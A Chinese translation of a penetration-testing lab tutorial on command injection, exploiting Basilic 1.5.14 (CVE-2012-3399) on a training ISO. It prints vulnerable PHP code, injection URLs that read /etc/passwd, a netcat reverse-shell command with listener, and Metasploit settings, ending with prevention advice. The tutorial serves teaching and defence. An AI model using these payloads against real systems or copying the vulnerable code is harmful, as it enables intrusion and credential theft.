命令注入ISO:Basilic 1.5.14利用

命令注入是一种攻击,攻击者试图传递恶意载荷,这些载荷会被应用程序不当处理并在系统shell里执行。此漏洞会导致脆弱应用程序的宿主机上出现远程代码执行。

什么是命令注入?

命令注入是一种攻击,攻击者试图传递恶意载荷,这些载荷会被应用程序不当处理并在系统shell里执行。此漏洞会导致脆弱应用程序的宿主机上出现远程代码执行。

命令注入以与应用程序相同的权限运行。比如,如果脆弱应用程序以www-data的权限运行,被利用后,攻击者会获取宿主机上所有的www-data权限。

命令注入漏洞存在的主要原因是缺乏输入验证,并且应用程序的编码中使用了系统调用或者系统方法。

让我们看一个易受攻击的代码示例:

下方是读取文件的代码。将其保存为“read.php”。创建一个“test.txt”文件,在文件中写入“Command Injection testing”,并保存。

<?php
print (“Command Injection testing”)
print(“<p>”);
$file=$_GET[‘fileread’];
system(“cat $file”);
?>

为读取文件,我们必须向服务器发送URL包含“fileread”的“GET”请求,如下:

http://localhost/read.php?fileread=abc.txt

 

输出将是:

Command Injection testing

Command injection text

为了利用上方代码中的命令注入漏洞,我们需要向服务器发送下方的请求:

http://localhost/read.php?fileread=abc.txt;id

 

输出将是:

Command Injection testing

Command injection text

Uid=33 (www-data) gid=33(www-data) groups=33(www-data)

攻击者执行该命令,权限与应用程序运行的权限相同。命令注入漏洞就是这么被利用的。

还有其他在脆弱应用程序中执行“id”的变种,如下:

http://localhost/read.php?fileread=abc.txt || id

http://localhost/read.php?fileread=abc.txt && id

 

如果安装的应用程序以根权限运行,那么命令注入可以在脆弱的宿主机上执行根用户能执行的任何命令。

命令注入渗透测试所需要的实验室设置:

  1. Kali Linux (Bridged或NAT). 攻击者 Kali Linux 的IP是168.1.102。
  2. 命令注入ISO (Bridged或NAT)。目标IP是168.1.103。

了解命令注入ISO的外观和感受:

命令注入ISO给我们提供了登录操作系统并查看脆弱应用程序的机会。使用用户名“Securitytube”和密码“123321”登录命令注入ISO。

检查命令注入ISO(192.168.1.103)上的80端口。

如上所示,有很多可以利用的框架。在本文中,我们将利用Basilic 1.5.14.

什么是Basilic?

Basilic是在研究实验室中所用的书目服务器。它有助于在互联网上自动化和扩散研究出版物。它从出版物数据库中生成一个网页。这个框架还有助于显示索引、查找和其他各种功能。

Basilic要求正确安装和配置PHP、Apache和MySQL。

要下载、配置和安装Basilic,请点击下方链接:

http://artis.imag.fr/Software/Basilic/

现在,我们点击Basilic文件夹,你可以看到以下内容:

在互联网上搜索对应的利用方法,我们可以在下方URL找到CVE-2012-3399(描述了Basilic错误的输入验证)和一个任意代码执行利用方法:

http://www.securityfocus.com/bid/54234/exploit

 

该链接为我们提供了可导致远程代码攻击的脆弱URL。

该利用方法帮助我们确定“diff.php”文件容易受到输入处理的影响,并且出现在/basilica/Config目录下。

http://www.example.com/basilic/Config/diff.php?file=%26cat%20/etc/passwd&new=1&old=2

SecurityFocus的输出编码似乎将其模糊化了。实际的利用方法如下:

http://www.example.com/basilic/Config/diff.php?file=|cat /etc/passwd&new=1&old=2

使用上面提到的漏洞利用方法来执行命令。

我们可以使用file参数来执行系统命令。

我们来获得一个反向shell。

在Kali上启动一个监听器:

root@kali#nc -lvvp 3333

输入文件参数为“diff.php?file=|nc -v 127.0.0.1 3333 -e /bin/bash&new=1&old=2”的命令。

我们就得到了想要的shell

在Metasplit和Kali的帮助下,我们来利用这个漏洞。

在Exploit-DB上利用Kali的SearchSploit工具搜索利用方法,我得到了一个Ruby利用方法。

如果编写语言是Ruby,那么我想它会出现在Metasploit中。

在MSF框架中查找利用方法。

root@kali# service postgresql start

root@kali# service metasploit start

root@kali# msfconsole

msf> search basilic

如上所示,我们找到了用于Basilic的任意命令执行利用方法。

按照下图所示,配置和运行Metasploit:

模块选项:

RHOST 192.168.1.103

RPORT 80

TARGETURL /basilic-1.5.14/

载荷选项:

LHOST 192.168.1.102

LPORT 4444

最后,利用方法。

我们成功地在Basilic里面利用了命令注入程序,并获取了目标的www-data权限。

如何防止命令注入

  1. 开发者应采用恰当的输入验证,并且不在整个应用程序中使用特殊字符。
  2. 不再后端编程的任何地方使用系统调用功能。
  3. 应用程序应该以最低权限运行。

 

文章翻译自:http://resources.infosecinstitute.com/pentester-academy-command-injection-iso-basilic-1-5-14-exploitation/

Spread the word. Share this post!

Meet The Author

Leave Comment